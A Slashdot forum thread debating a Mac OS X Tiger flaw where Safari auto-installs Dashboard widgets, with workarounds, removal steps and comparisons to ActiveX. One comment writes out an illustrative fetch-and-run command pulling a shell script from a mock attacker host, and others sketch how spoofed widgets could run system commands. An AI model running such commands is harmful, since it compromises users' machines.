      What is so great about the integration between Safari and Dashboard and what's so bad about the integration between Internet Explorer and ActiveX? Why should a web browser be allowed to automatically download and install certain types of programs remotely? These programs could access the Internet, too. I can see a lot of problems with this. Imagine widgets displaying pop-up adertisements, hardcore porn widgets, spyware widgets, you name it... I don't think that these widgets have the power to format hard drives, but the integration of the web broswer and external programs is very troublesome to me. Look no further than Internet Explorer and ActiveX if you want an example.

      To say a kind of cleaned-up version of what the parent poster said, operating system and desktop designers and programmers should look very carefully about the features that they are adding to the program before they release it to the public. Security should be a major concern, especially if those programs are directly tied to network connections. Programs connected to the Internet should never be integrated with system functions such as installation; that's how you get Internet Explorer and ActiveX. I expected Apple to have a little more sense in feature consideration and design, but I was disappointed. Hopefully they fix this in Tiger 10.4.1 before this becomes more widespread.

    3. Re:Like everyone else in the tech industry, by TomHandy · · Score: 1

      I think you're missing the point. This is the common excuse, especially from Microsoft........ i.e. "The reason Windows is so full of malware isn't because of any flaws in our development, but because it is the most popular". The problem with this is that it absolves MS of any responsibility for the inherently unsafe features in the OS and their other software. Certainly the number of people using it make it a target, but the malware wouldn't be so widespread if there weren't so many easily exploitable areas of the software. The point being made in the phrase you quoted is that Apple could run the risk of doing down the same path if they started leaving a lot of obvious security holes, etc. in there that other people could exploit.

    4. Re:Like everyone else in the tech industry, by Anonymous Coward · · Score: 0

      That doesn't make it any less true. OS X prolly has just as many exploits and whatnot as Windows. The only way to be completely safe is to use something that's obscure.

    5. Re:Like everyone else in the tech industry, by patio11 · · Score: 1

      If the comments elsewhere are accurate, you can use the widget to do privilege escalation and do, essentially, whatever the heck you want. Like making a web request and running system commands. Thats game, set, match. wget http://www.haxx0r.com/macOS/p0wned.sh chmod 777 p0wned.sh ./p0wned.sh

    6. Re:Like everyone else in the tech industry, by argent · · Score: 1

      OS X prolly has just as many exploits and whatnot as Windows.

      There's whole classes of exploits in Windows for which OS X doesn't even provide a mechanism by which they can be emulated. There's no ActiveX, no Insecurity Zones, it ships with all network services OFF by default when you can't even turn them all off in Windows without putting up a firewall, the list goes on and on... and that's why this hole is even an issue, it's the closest OS X has ever come to implementing the biggest design flaw that Windows suffers from. It's a poor weak cousin, to be sure, but it's he biggest step along that path that Apple has taken yet.

  21. But... by Home�rew · · Score: 0, Redundant

    but you'd also have to have the "open safe items" turned on in safari prefs, and that is kinda dumb.

    --
    Pablo Piccaso was never called an asshole. Not like you.
    1. Re:But... by antibryce · · Score: 1


      I had it on by default because in Panther it was fine. It only opened PDFs and Zip files and mp3s and some other non-executable formats. If Safari just downloaded and unzipped the zip files it would be one thing, but to automatically install the Widget bundle is just dumb.

  22. This exploit only works with certain safari prefs by BugDave · · Score: 0

    By default safari has "open safe files after downloading" turned on in general prefs. I changed my to off on day 1. I am sure apple will change this in the future or set it to ignore auto installing widgets. to prevent the problem do as follows. Navigate in Safari to Safari>Preferences...>General Then uncheck the box that says 'Open "safe" files after downloading'

  23. Feature by Tharkban · · Score: 1

    I love features!

    Anyone want a more minimalistic system? Say, one that doesn't do things behind your back?

    --
    Tharkban (It is a signature after all)
    1. Re:Feature by drsmithy · · Score: 1
      Anyone want a more minimalistic system? Say, one that doesn't do things behind your back?

      Bid on this auction for your chance to own one !

    2. Re:Feature by Moofie · · Score: 1

      Yeah, it would be MUCH better if I had to personally approve every bit that gets written to the hard drive.

      Even better, it should LET ME tell it whether I want a zero or a one at every point. That would be GREAT!

      Every computer system does things behind your back. That's a feature. The only question is, WHICH SET of things should be done "behind your back"? That is where the good engineering comes in.

      Unfortunately, there are very few good software engineers.

      --
      Why yes, I AM a rocket scientist!
  24. Awww...How cute! by justforaday · · Score: 3, Funny

    Looks like he was nice and made us a goatse.cx widget. Too bad I don't have Tiger yet... :'(

    --
    I'll turn into a supernova and burn up everything. Well I'll turn into a black little hole and you'll turn into string.
    1. Re:Awww...How cute! by BugDave · · Score: 0

      heh goatse.cx is awesome....i wish they would be able to get their domain back

    2. Re:Awww...How cute! by Anonymous Coward · · Score: 0

      That's also my greatest wish, next to the Dalai Lama being allowed back into Tibet.

    3. Re:Awww...How cute! by Anonymous Coward · · Score: 0

      They have the next best thing: http://goatse.ca/

    4. Re:Awww...How cute! by flowerp · · Score: 2, Informative

      Holy Shit! I have OS X Tiger, and behold. Klicking on that link installed Goatse right into my Widget collection with NO CONFIRMATION DIALOG WHATSOEVER.

      So whenever someone clicks on the "Add Widget" symbol (the circled plus sign) he gets to see a barenaked goatse in full glory.

      --
      --- Eat my sig.
    5. Re:Awww...How cute! by Anonymous Coward · · Score: 0

      Holy fucking shit! Maybe you should submit a story to Slashdot about this!

  25. Bad design, for sure, however. by mindstrm · · Score: 2, Informative

    it's not totally evil.

    It installs the widget, but does not activate it.. it just makes it available.

    Further, widgets do run in a sandbox, and require user approval to execute if they want to do certain things (like erase your HD).

    Honestly, apple should have said "would you like to install this widget?".. that would be sensible and courteous.

    1. Re:Bad design, for sure, however. by Anonymous Coward · · Score: 0

      Honestly, how fucking sad, you realize the story is nothing but another hit generating fake Apple security story and see that there really is nothing there and still feel the need to throw in your pointless "security advice" for Apple.

      It would be sensible and courteous for you to fuck off.

    2. Re:Bad design, for sure, however. by Anonymous Coward · · Score: 0

      "Honestly, apple should have said "would you like to install this widget?".. that would be sensible and courteous."

      It might not run it, but your average user is more likely to trust an executable that's appeared on their machine. It still lulls them into a false sense of security.

      The best solution would be to have no automated in-page downloads allowed. Packages and exectuables should only be able to be downloaded by the user and a mouse click. This whole automated pop-up, download, mess with the filetype scenario within the browser was what got IE into trouble in the first place.

    3. Re:Bad design, for sure, however. by compm375 · · Score: 1

      A better idea. "Would you like this NOT to install?" defaulted to yes.

    4. Re:Bad design, for sure, however. by mithras+the+prophet · · Score: 1
      It installs the widget, but does not activate it.. it just makes it available.

      Yes, but it's trivial to make a widget that appears identical to, say, the Apple Stickies widget. Moreover, as this example exploit page shows, you can make an entire slate of widgets which look like the first page of Apple widgets, but appear before them (by putting spaces in front of the names). So you might inadvertently visit a web page that auto-installs widgets, then later go to the Dashboard to write a new Sticky Note, never seeing any indication that something has changed, and -- oops! -- you've been pnwed. (screenshot)

      Further, widgets do run in a sandbox, and require user approval to execute if they want to do certain things (like erase your HD).

      Unfortunately -- and incredibly -- this is not true of auto-installed widgets. Try the Calculator `evil widget' in the above page, for example. It requests full system access, uses it to launch the command-line `say' program to speak some text, and the user is never prompted for approval, beyond simply dragging the widget out of the Widget Bar in the first place. This is very, very, bad. Such a widget could erase your home directory, and you might never even know it had installed!

      --
      four nine eighteen twenty-7 thirty-nine forty-7 fiftyeight sixty-nine seventy-9 eighty-8 one-hundred-and-nine one-twenty
  26. Move along... by Anonymous Coward · · Score: 0

    If you set your browser to automatically execute downloaded files bad stuff can happen. What does this have to do with dashboard or even osx now?

  27. Several levels of control by pelorus · · Score: 4, Insightful

    First, when a widget starts to download, Tiger prompts me and says "This download contains an application, do you want to continue?" That should be the first dead-giveaweay.

    Secondly, while the OS DOES copy downloaded widgets to the Widgets folder in the Users directory, the widgets do not become active until you actually activate them. (of course there's nothing stopping you from usign the same name and icon as ...say Calculator).

    Getting widgets to do complex system-level stuff you WANT them to do is tough enough.

    1. Re:Several levels of control by YrWrstNtmr · · Score: 1
      First, when a widget starts to download, Tiger prompts me and says "This download contains an application, do you want to continue?" That should be the first dead-giveaweay.

      Social engineering around that would be easy. "Mac's are immune to viruses, right? At least that's what everyone tells me."

      (of course there's nothing stopping you from usign the same name and icon as ...say Calculator).

      Precisely.

    2. Re:Several levels of control by Ilgaz · · Score: 1

      Several levels of control for YOU, a slashdot reader/poster.

      Now it would be an excellent world if you didn't make 2% of total computer population :)

    3. Re:Several levels of control by justforaday · · Score: 1

      ...if you didn't make 2% of total computer population

      Hey, I'm sure he's not that fat...

      --
      I'll turn into a supernova and burn up everything. Well I'll turn into a black little hole and you'll turn into string.
    4. Re:Several levels of control by Ilgaz · · Score: 1

      I deserved it, should click the preview but too late :)

    5. Re:Several levels of control by Anonymous Coward · · Score: 0

      BAZHAHAHAH nice.

    6. Re:Several levels of control by mithras+the+prophet · · Score: 1
      First, when a widget starts to download, Tiger prompts me and says "This download contains an application, do you want to continue?"

      It only does this for widgets that contain native code (a plug-in). Widgets that don't may still do malicious things by calling the widget.System() method.

      --
      four nine eighteen twenty-7 thirty-nine forty-7 fiftyeight sixty-nine seventy-9 eighty-8 one-hundred-and-nine one-twenty
    7. Re:Several levels of control by Anonymous Coward · · Score: 0

      That message that says "This download contains an application, do you want to continue?" does not appear when I go to that page like it does most things I have downloaded in Safari with Tiger. Even if I have selected in my Safari prefs to not open "safe" file. Widgets seem to be pre-approved.

    8. Re:Several levels of control by GoddessEvilena · · Score: 1

      I don't believe this exploit will alow old widget files to be written over so this will stop the ability to trick users into opening them. If I open my Dashboard and I see a strange new widget that I never installed, I am sure as hell not going to open it. I am sure Apple will release a security update in a day or two.

    9. Re:Several levels of control by SirTalon42 · · Score: 2, Interesting

      You could put a space in front of the name, and you wouldn't be able to tell. And if it installed several that all used the same icons and names (but with the space in front), how will you tell which is real? Especially if the real ones are pushed off the screen.

      Theres a link to an example on another part.

  28. Reboot ? Who the fsck does the guy think he is ? by Anonymous Coward · · Score: 0

    Mod this article back to the stone age. Tech the author to use "killall" and those grabbing this as the ultimate proof of OS X lack of security - get a grip !

    If you have your browser set to auto-open files, your fault. You STILL have to EXECUTE the widget - that will NOT happen auto"magically".

    GAH !

  29. YOU BAD MOUTHED ABOUT APPLE! by Anonymous Coward · · Score: 0, Funny

    Mod parent down now!

    1. Re:YOU BAD MOUTHED ABOUT APPLE! by Anonymous Coward · · Score: 0

      He is getting modded down. Looks like the Appleturfers are out in force today.

  30. i use safari, nothing happened--what's this about? by Anonymous Coward · · Score: 0

    i don't know what this discussion is all about. either somebody tries to be important or apple has fixed the issue before the tiger gm release.

    i went on the page and a .zip file automatically downloaded to my desktop. ok. double-click on the .zip file. a widget "zaptastic.wdgt" appears. double-click on the widget file. dashboard asks me whether i want to use this widget because it is launched for the first time. just deny.

    as far as i can see--no security risk, am i wrong?

  31. O Great Oracle of Slashdot by Dachannien · · Score: 5, Funny

    If there's anything that Slashdot has taught us, it's that it's never safe to use your computer.

    1. Re:O Great Oracle of Slashdot by Captain+Nitpick · · Score: 1
      If there's anything that Slashdot has taught us, it's that it's never safe to use your computer.

      Just be glad you don't read the RISKS digest. PGN has taught me that it's never safe to be near computers, things controlled by computers, things designed using computers, or anything else at all.

      --
      But then again, I could be wrong.
  32. The really funny part is by mcc · · Score: 3, Insightful

    Safari is uber paranoid about other filetypes now-- if you download a tar or a dmg it says "warning, this file may contain an application, are you sure you want to uncompress this?" It didn't do this before Tiger.

    The unzip/install widgets thing wasn't a conscious decision. This is clearly a bug.

    1. Re:The really funny part is by mithras+the+prophet · · Score: 1

      No, it's a conscious design choice, just an unbelievably lunatic one. What's more, it doesn't prompt for permission before running an auto-installed widget that has requested full system privileges. Check out this example exploit page for a demonstration. (Warning: downloads a bunch of widgets!)

      --
      four nine eighteen twenty-7 thirty-nine forty-7 fiftyeight sixty-nine seventy-9 eighty-8 one-hundred-and-nine one-twenty
    2. Re:The really funny part is by System.out.println() · · Score: 1

      It's not a "bug" per se, I don't think - I would call it a 'design oversight'. It's in the same nature as popup ads: you want sites to be able to create windows, but only the ones the USER wants. Which is a fine line to walk.

      The summary gives the impression that Dashboard programs can be run without any user intervention, but the fact is that this can cause easily removable adware AT WORST. Dashboard widgets can run executable code, but any widget that does so has to ask permission from the user.

      IMHO, the best option would be a preference: "Always ask before installing Dashboard widgets". Simple, effective.

    3. Re:The really funny part is by Anonymous Coward · · Score: 0

      Do you seriously believe that people won't automatically click "Yes"? If you think people actually read the dialog box message and analyze its content before clicking the button most likely to get rid of it the fastest, you need to study more psychology.

      dom

    4. Re:The really funny part is by FidelCatsro · · Score: 2, Informative

      The first thing i did when i opened up safari in tiger was to uncheck the "Open Safe files after downloading" option , visted the site in safari and it just automaticaly downloaded the file and did nothing more .So theres a quick workaround till a patch is out

      I have no idea how this potential exploit slipped past , bad show indeed and rather disapointing.
      But clearly it is a bug not poor judgment.

      --
      The only things certain in war are Propaganda and Death. You can never be sure which is which though
    5. Re:The really funny part is by IamTheRealMike · · Score: 1
      That's only necessary because of the crack-tastic way they chose to implement appfolders.

      DMGs and tarballs are just containers, the problem being that the Finder is constantly "seeking" new application bundles to integrate with the system. This is the way they avoid (hah) installing programs: basically the stuff that an installer would normally do explicitly is done automatically in the background by the Finder whenever the user wanders across an appfolder (or at startup for apps in the /Applications directory).

      That's how the URL handler exploits worked: all you have to do is get an app bundle in one of the magic directories the Finder is watching and you can now modify system configuration without the user even running the app.

    6. Re:The really funny part is by Anonymous Coward · · Score: 0

      There is another class of exploits related to the URL handler exploits that, as far as I know, have not been fixed. Look at http://lee-phillips.org/sshv.html for an example of a way to execute arbitrary commands on the target computer, and a discussion of how to secure your machine.

    7. Re:The really funny part is by Anonymous Coward · · Score: 0

      You're a fucking idiot, you know that? Your example "exploit" page is no different than in any browser. It downloads a bunch of fucking files to your drive. Big ass hairy deal. How the hell is this an exploit any more than on any other browser and any other platform?

      So Safari puts the widget somewhere else. Again, big fucking ass deal. For users who like the "Open safe files" option, that is the RIGHT BEHAVIOR. They don't care HOW to install a widget, they just want it installed.

      Next you're gonna tell me that Safari needs to protect from malicious pages showing the Goatse and tubgirl images, right?

    8. Re:The really funny part is by Anonymous Coward · · Score: 0

      So what the hell do you expect Apple (or Microsoft, or Mozilla, or ...) to do? Make the user provide a full dissertation on why they believe running the downloaded program (widget or not) will be ok and support their analysis with lots of charts and testimonials? Please. Or maybe they should simply disallow running any downloaded programs at all. That's more secure, right?

      There is always inherent danger in downloading something untrusted from the web. Nothing will change this, and I think the reasonable step of having ONE confirmation dialog is as far as they should go. Apple already does this for BOTH programs AND widgets, and any more gets in my damn way. If people click through it without thinking, IT'S THEIR OWN DAMN FAULT. The browser/OS vendor is no longer on the hook to hold their fucking hand through it.

      You people are impossible. You just want to hate Apple/Microsoft/whoever is the bad guy of the week. If they allow stupid users to do anything bad to their system, they are being negligent about security. If they lock everything down, they are patronizing and making their product into a stupid toy. Go home, trolls.

  33. Install failed on my Mac!!! How to protect yours! by malchus842 · · Score: 1

    The default settings I used on my Mac stopped this cold. First, I have the setting in Safari to not automatically run 'safe' files after download. Thus, it just downloaded, didn't install.

    Second, I don't have a personal Widgets folder. I only use the system one, and copy the widgets there with su. So, even after setting the 'run safe' option, it still didn't install!

    So, yes, it does affect Macs, but those of us who are completeloy paranoid are pretty safe.

    My suggestion - block auto-open of 'safe' downloads AND move all your widgets to the system folder and delete your widgets folder.

  34. More 'Windows like' by SmoothTom · · Score: 2, Insightful

    With this new addition to Safari under Tiger, Apple has made a large step in catching up with Microsoft Windows...

    Now the script kiddies won't feel as limited in their options in annoying Mac users just like they do MS Windows users.

    A nice, new, open window (no pun intended) for the black hats to use... *sigh*

    --
    Tomas

    1. Re:More 'Windows like' by Ganniterix · · Score: 0

      Time for Mac Droids to wipe that god-like smuck grin off their face! Nothing is infallible i guess....

  35. not insightful by ashot · · Score: 0

    so I take it then that all web apps are an 'incredibly stupid idea'?

    --
    -ashot
    1. Re:not insightful by Anonymous Coward · · Score: 0

      If they can in any way interact with a users' files without explicit permission from the user, I would say yes.

    2. Re:not insightful by ashot · · Score: 0

      well the original comment said:

      anything that expects local rather than remote content

      which I guess is vague. On the first surface read I read that as anything that runs code on the client, but now I realize that the statement is rather vague.. so I should have said that instead.

      --
      -ashot
    3. Re:not insightful by m50d · · Score: 1

      Generally, yes. Web apps are incredibly stupid anyway, but that's another debate. Anyway, the only way they should be done is running through some sandbox-type thing that is *only* used for remote code. Even java with its signing/sandbox based model has its share of problems, because local apps need to be able to modify the local filesystem (there are filemanagers in java) but if java apps can modify the filesystem that means web apps can. There are dumb user exploits (the recent one where spyware installed itself via jvm whichever browser you used is an example) which can really only be stopped by having separate technologies for local and remote, and I also wonder what would happen if someone got a certificate and decided to abuse it. It would get revoked pretty quick, but there might be time to exploit a lot of users before that. Java has a pretty decent separation of remote and local though, it knows when it's running remote code and mostly manages to separate it, so it's not such a problem - it definately does not expect code to be local. But it's still a fairly bad idea.

      --
      I am trolling
    4. Re:not insightful by ashot · · Score: 1, Interesting

      yes it should run in a sandbox, which is essentially means it should not have access to the filesystem, I think java's ability to do so at all is a mistake. Flash doesn't allow this at all, and they have not had any security problems except for one (which was a pretty bad one, but nonetheless) in 2003.

      --
      -ashot
  36. Re:Firefox Running Poorly on OS X by Anonymous Coward · · Score: 0
    Firefox bills itself as being "fast and light"; how ironic, then, that it is slower and more memory hungry than Opera and IE combined.

    It's like a fly in my Chardonnay :(

  37. How To Remove by robbieduncan · · Score: 1

    If anyone else let the evil version install to see what it did (like me) it's really easy to remove.

    Step 1: Remove the folder zaptastic_evil.wdgt from ~/Library/Widgets.

    Step 2: Using Activity Monitor to kill any running instance of it (yes Activity Monitor shows each widget as a separate process).

    No reboot.

    1. Re:How To Remove by BasilBrush · · Score: 1

      Even easier.

      1) Go to Dashboard, and close the widget if it's running.

      2) Remove the folder zaptastic_evil.wdgt from ~/Library/Widgets.

    2. Re:How To Remove by robbieduncan · · Score: 1

      The evil version cancels entering Dashboard as soon as you enter it (it opens a web page as well). So you can't close it in Dashboard.

    3. Re:How To Remove by BasilBrush · · Score: 1

      Ah OK, I can see that an evil one could do that. Good point.

  38. There is "K"arma by Ilgaz · · Score: 0, Flamebait

    Here, another proof ;)

  39. Imagine it? by Anonymous Coward · · Score: 4, Funny



    imagine porn sites auto-installing adware widgets without your knowledge

    Imagine it? I'm a Windows/IE user...I live it!

  40. That would have been funny by Anonymous Coward · · Score: 0

    if Apple actually invented anything original. Both Apple and Microsoft copy just about everything from others.

    1. Re:That would have been funny by Black.Shuck · · Score: 1

      Who are these "others", and where do they get their ideas?

  41. Dashboard: Slightly OT but worth a look by uprock_x · · Score: 3, Interesting

    Click OnLine, BBC's tech show:

    http://stream.servstream.com/ViewWeb/BBCWorld/File /worl_click_030505_show_hi.rm?Media=60506

    Cole asks Apple manager: is Dashboard a big rip off of Konfabulator?

    Apple manager's response:um, er...Desk..Accessory...um...things......from before....like

    1. Re:Dashboard: Slightly OT but worth a look by Ilgaz · · Score: 1

      Got too much karma to burn? :)

      I tried the "thing" finally, seriously to have idea before my tiger arrives. Couldn't believe my eyes.

    2. Re:Dashboard: Slightly OT but worth a look by Kensho · · Score: 1

      I dont have time to watch the full 20-minutes of this program... do you happen to know approximately when this was said?

    3. Re:Dashboard: Slightly OT but worth a look by uprock_x · · Score: 2, Informative

      4:47 It's even BETTER than I remember the first time. What a classic.

    4. Re:Dashboard: Slightly OT but worth a look by uprock_x · · Score: 1

      I tried to get that as a story on ./ and a couple of other similar sites but no luck yet. I've got a feeeeeling this story is not settled by any means, despite what some may think. It's truly beyond mind boggling what has happened and does indeed test reality and make you doubt your own eyes.

    5. Re:Dashboard: Slightly OT but worth a look by uprock_x · · Score: 1

      he even looks at the camera for a second!....just before he says 'Desktop Accessory'. ROTFLMAO anyone remember when that guy in The Office did that ?

    6. Re:Dashboard: Slightly OT but worth a look by Kensho · · Score: 1

      wow that was great. thanks.

    7. Re:Dashboard: Slightly OT but worth a look by Anonymous Coward · · Score: 0

      I don't have 20 minutes to watch a video... but I have plenty of time to post on Slashdot!

    8. Re:Dashboard: Slightly OT but worth a look by Anonymous Coward · · Score: 0

      Good for you. (It took you 20 minutes to post that?)

  42. Not necessarly a problem... by mentalray · · Score: 1

    I did go the the "malicious" website using Safari and Tiger, but the widget did not install. Then I figured out that unchecking the "open 'safe' files after downloading" option is sufficient to prevent this behavior.

  43. Well, Yes by WindBourne · · Score: 1

    There is one for Goatse, which some here would regard as porn.

    --
    I prefer the "u" in honour as it seems to be missing these days.
    1. Re:Well, Yes by Anonymous Coward · · Score: 0

      http://en.wikipedia.org/wiki/Pornography

      [I]with the goal of sexual arousal[/I]

      Nope, gotese's not porn.

  44. Re:i use safari, nothing happened--what's this abo by Anonymous Coward · · Score: 0

    ok, i shot too fast. of course i had the open "safe" files checkbox unchecked.

    yeah, this is bad design. you should always be asked before having something installed.

  45. Thank God for Firefox and Windows by Pedrito · · Score: 3, Funny

    I'm just glad I'm running Firefox under Windows. No need for me to worry about nefarious web sites.

    1. Re:Thank God for Firefox and Windows by TomHandy · · Score: 1, Redundant
      Yeah, it's definitely good nefarious websites can't do anything to you if you're using Firefox...... Oh... wait...

      -Tom

    2. Re:Thank God for Firefox and Windows by CTho9305 · · Score: 2, Informative

      The Mozilla Update team has taken steps to mitigate the problem - the default Firefox configuration is no longer exploitable, as far as I know.

    3. Re:Thank God for Firefox and Windows by TomHandy · · Score: 1
      Right, of course. I was just pointing out that it's not like Firefox is inherently immune to any sort of exploits or problems (or more generally, it's not like the Firefox team is incapable of developing something that could be exploited). I think the larger point of course is that there's potential for this in any software...... no reason someone should take an attitude like "I use Firefox, thus I never have to worry about a problem like this".

      -Tom

      P.S. Just to be clear, I use Firefox and I'm a big fan of it. But it's not doing anyone any favors to treat it like nothing bad can ever happen with it.

    4. Re:Thank God for Firefox and Windows by brett42 · · Score: 1

      Every single time some security vulnerability shows up for Windows, Mac users come out of the woodwork just to point out that it doesn't affect them. The original post was just making fun of them, which is why it's +5 Funny rather than the usual +5 Insightful usually bestowed by the Apple Mafia.

    5. Re:Thank God for Firefox and Windows by TomHandy · · Score: 1

      Why is that funny though? And why is that specific to Mac users? It's not like ALL Mac users do that......... some do, sure, but so what? Some Linux users do too. And some Windows users come out of the woodwork (and have been for years) to attack Mac users for any number of reasons. It's not like any platform's userbase is lacking in the "major assholes" demographic.

  46. Re:Install failed on my Mac!!! How to protect your by Bungopolis · · Score: 1

    I can't see how putting your personal widgets into the system's widget directory _improves_ security! I would imagine that in doing so you are giving root privileges to the widget? Of course, I expect Apple severely limits their power, but that's no reason to do it. You're also forcing all of the users on your system to use your widgets! Terrible advice!

  47. Re:Not an exploit by ghoda_x · · Score: 0, Troll

    Isn't it funny how the only "exploits" people can find for Mac OS X almost always exclusively revolve around social engineering, and never real flaws in the platform itself?

    Yes, isn't it? Apple Releases Mega Patch to Fix 19 Flaws
    /sarcasm

    --

    Give me but one firm spot on which to stand, and I will move the earth.
    - Archimedes
  48. Require password to set execute bit! by rice_burners_suck · · Score: 2, Insightful
    You would think that Apple, being such an innovative company, would learn from Microsoft's mistakes.

    Yes, I know that Dashboard programs cannot (supposedly) affect the filesystem outside of their bundle. And I know that if you uncheck the "automatically open downloaded blah blah blah" then Safari won't do that.

    But the default is not secure! And that's what will cause the computer to do "weird" stuff like the above; the same type of stuff that annoys Windows users and gets them thinking about buying a Mac next time. (Four people at work have already bought a new Mac specifically because of past problems with malicious code in Windows.)

    Since OS X is based on UNIX, providing rock-solid security for non-security-conscious users shouldn't be any trouble at all. The mechanism is all there; all Apple needs to change is the policies of the default install, and nearly all users will be safe from crap like this.

    First, downloaded files should, by default, not be opened automatically. If the user wishes to change this setting, it's the user's responsibility. Second, any downloaded files, bundles, scripts, etc., should not have the execute bit set by default. When the user tries to run it for the first time, OS X will ask for the password, like it does when you install X11 or Final Cut or something. Only then will the execute bit be set. This is not a small inconvenience; rather, it is a huge convenience. Sure, you have to type a password to run a downloaded program for the first time, but that's only as annoying as finding out the bank put an extra $10,000 in your account by mistake. And your computer won't suddenly acquire programs/spyware/malware/adware/viruses and other nice stuff that you didn't intend it to acquire. This is extremely convenient. It's an additional level of security for safety-conscious parents who use Tiger's new child-safety features. It's good for owners of computers with multiple users, who don't want people to run arbitrary code that came from God knows where.

    Apple could and should take this a step further. At some point, people will find ways to screw up Macs with programs/spyware/malware/adware/viruses, especially if they become pretty popular. Apple could prevent this before it happens. Provide an online database of MD5 sums of binaries for OS X, and provide a mechanism in the OS to report bad software and where it came from. Perhaps people could post a comment with their claim. The system would be moderated by the community, so good software won't end up listed as bad. There are plenty of Mac zealots who would participate. When you try to run any program for the first time, whether it comes from the Internet, a CD, or wherever, OS X might first compute the MD5 sum and compare it to the online database. If the MD5 matches, OS X will warn the user and perhaps allow the user to browse the comments posted about this program. Comments like, "This program sends all keystrokes to the goatse site!" The user can then decide whether to run the program or clean it off the system. Not connected to the Internet? The database shouldn't be that large... When you install OS X, the latest version could be placed on the HDD, and when you connect, it could automatically update it. Bam... Pretty good protection against the spyware problem, BEFORE it comes to the Mac. Proactive... not reactive like the Microsoft crowd.

    I use Macs, Linux, and the BSDs.

    1. Re:Require password to set execute bit! by oberondarksoul · · Score: 1

      Whoa there, amigo. You're diving a bit too far into this 'automatic' line for my liking. Even if Safari is set to automatically download 'safe' files, all this does is download the .zip archive. The user still has to open up the zip, and run the widget inside - which will ask the user for permission to run. The user has to go out of their way to install the unsafe widget, which, at the end of the day, is a matter for user training.

      --
      And tomorrow the stock exchange will be the human race
    2. Re:Require password to set execute bit! by rice_burners_suck · · Score: 1
      No! Safari has an option, set by default, to automatically open "safe" files, including ZIPs. This means that if you download a ZIP file, it is automatically decompressed. If, say, JPG is considered safe, then it is opened in Preview.

      C2 H5 OH. Not the chemical formula for water, but what a simulation!

    3. Re:Require password to set execute bit! by tlindner · · Score: 1

      > Provide an online database of MD5 sums of
      > binaries for OS X, and provide a mechanism
      > in the OS to report bad software and where
      > it came from.

      To bad Prebinding modifies the executable of a GUI application, otherwise this would be a great addition to the system.

    4. Re:Require password to set execute bit! by oberondarksoul · · Score: 1

      But even so, the user must, of their own free will, install the dashboard widget. Just decompressing the archive won't install it for them.

      --
      And tomorrow the stock exchange will be the human race
    5. Re:Require password to set execute bit! by prshaw · · Score: 1

      >> The user has to go out of their way to install the unsafe widget, which, at the end of the day, is a matter for user training.

      And we have proven with Windows that the users would never go out of their way to install something!

    6. Re:Require password to set execute bit! by lcracker · · Score: 1

      Only certain parts of the header, it's certainly possible to checksum the parts that shouldn't change.

    7. Re:Require password to set execute bit! by mithras+the+prophet · · Score: 1
      Even if Safari is set to automatically download 'safe' files, all this does is download the .zip archive. The user still has to open up the zip, and run the widget inside - which will ask the user for permission to run. The user has to go out of their way to install the unsafe widget, which, at the end of the day, is a matter for user training.

      Actually no, and that's what makes this such an incredibly bone-headed choice of a ``feature". As per the Apple Developer Documentation:

      If you're using Safari, click the download link. When the widget download is complete, show Dashboard, click the Plus sign to display the Widget Bar and click the widget's icon in the Widget Bar to open it. If you're using a browser other than Safari, click the download link. When the widget download is complete, unarchive it and place it in /Library/Widgets/ in your home folder. show Dashboard, click the Plus sign to display the Widget Bar and click the widget's icon in the Widget Bar to open it.

      Safari doesn't just unzip the archive and leave it in your downloads folder. It also copies the unzipped widget into ~/Library/Widgets/ and puts them in the Dashboard Bar. So the user doesn't have to do anything to have the widget appear in the Dashboard Bar. And, even if the widget is one that requests special privileges like complete read-write access to the filesystem, or the ability to run arbitrary shell commands, the user won't be prompted with an `are you sure?' before activating it.

      Moreover, if you make a widget with the same icon and name as an Apple widget, the user will have no way to tell which is which! And if you auto-install an entire set of widgets that look like Apple's, but have spaces in the names so they appear earlier in the Dashboard Bar, you won't even see the duplication of widgets -- you'll just see the normal default Dashboard Bar, but with malicious widgets instead of the Apple ones!

      You can try this example exploit page if you like, but be careful not to activate the faux `iTunes' widget.

      --
      four nine eighteen twenty-7 thirty-nine forty-7 fiftyeight sixty-nine seventy-9 eighty-8 one-hundred-and-nine one-twenty
    8. Re:Require password to set execute bit! by Anonymous Coward · · Score: 0

      Applescripts and the like run without the execute bit set. Would hardly make any real world difference.

    9. Re:Require password to set execute bit! by pammon · · Score: 1

      > First, downloaded files should, by default, not be opened > automatically. If the user wishes to change this setting, it's > the user's responsibility. This is a huge usability problem for people who aren't good at locating the files they download. You have to weigh their needs against security concerns. Only opening "safe" files is an excellent compromise. > Second, any downloaded files, bundles, scripts, etc., should > not have the execute bit set by default. When the user tries to > run it for the first time, What does setting the execute bit have to do with anything? OS X already pops up a warning when you run a program for the first time. > OS X will ask for the password, like it does when you install > X11 or Final Cut or something. Only then will the execute bit > be set. This is a VERY VERY BAD IDEA. If I am used to typing in my password every time I download CheckMyStocks.widget, I'll stop caring when I have to type in my password; I've just become more vulnerable to seriously malcious scripts that want to erase my hard drive instead of delete my home directory. > This is not a small inconvenience; rather, it is a huge > convenience. Sure, you have to type a password to run a > downloaded program for the first time, but that's only as > annoying as finding out the bank put an extra $10,000 in your > account by mistake. I don't understand your metaphor at all. A better one would be giving your social security number every time you use your credit card. Sure, you might stop a few people with stolen cards, but you'll be so used to giving out your SSNs that you'll miss the person who asks for it and then proceeds to take out a mortgage in your name. > And your computer won't suddenly acquire programs > spyware/malware/adware/viruses and other nice stuff that > you didn't intend it to acquire. In your example, you may accidentally download files, but they won't run until you type in your password. Currently, you can accidentally download files, but they won't run until you actually execute them (in Dashboard, by dragging them onto the screen). Your solution is less convenient without providing any more safeguards, and less secure because the user becomes accustomed to providing their password unnecessarily. > This is extremely convenient. It's an additional level of security > for safety-conscious parents who use Tiger's new child-safety > features. It's good for owners of computers with multiple > users, who don't want people to run arbitrary code that came > from God knows where. The Security system preference pane does this already. > Apple could and should take this a step further. At some > point, people will find ways to screw up Macs with programs > spyware/malware/adware/viruses, especially if they become > pretty popular. Apple could prevent this before it happens. > Provide an online database of MD5 sums of binaries for OS X, > and provide a mechanism in the OS to report bad software > and where it came from. This will not work because of prebinding. Your executables have a different md5 sum than mine.

    10. Re:Require password to set execute bit! by Anonymous Coward · · Score: 0

      Er... yes, it does. That's the point of the article, Einstein.

    11. Re:Require password to set execute bit! by Anonymous Coward · · Score: 0

      Putting something in the dashboard widget shelf != installing dummy.

      You can only install a dashboard widget by dragging it from the shelf out onto the desktop.

      WTG nimrod.

  49. Somewhere in Cupertino... by Paperweight · · Score: 0, Redundant

    D'OH! That about sums it up.

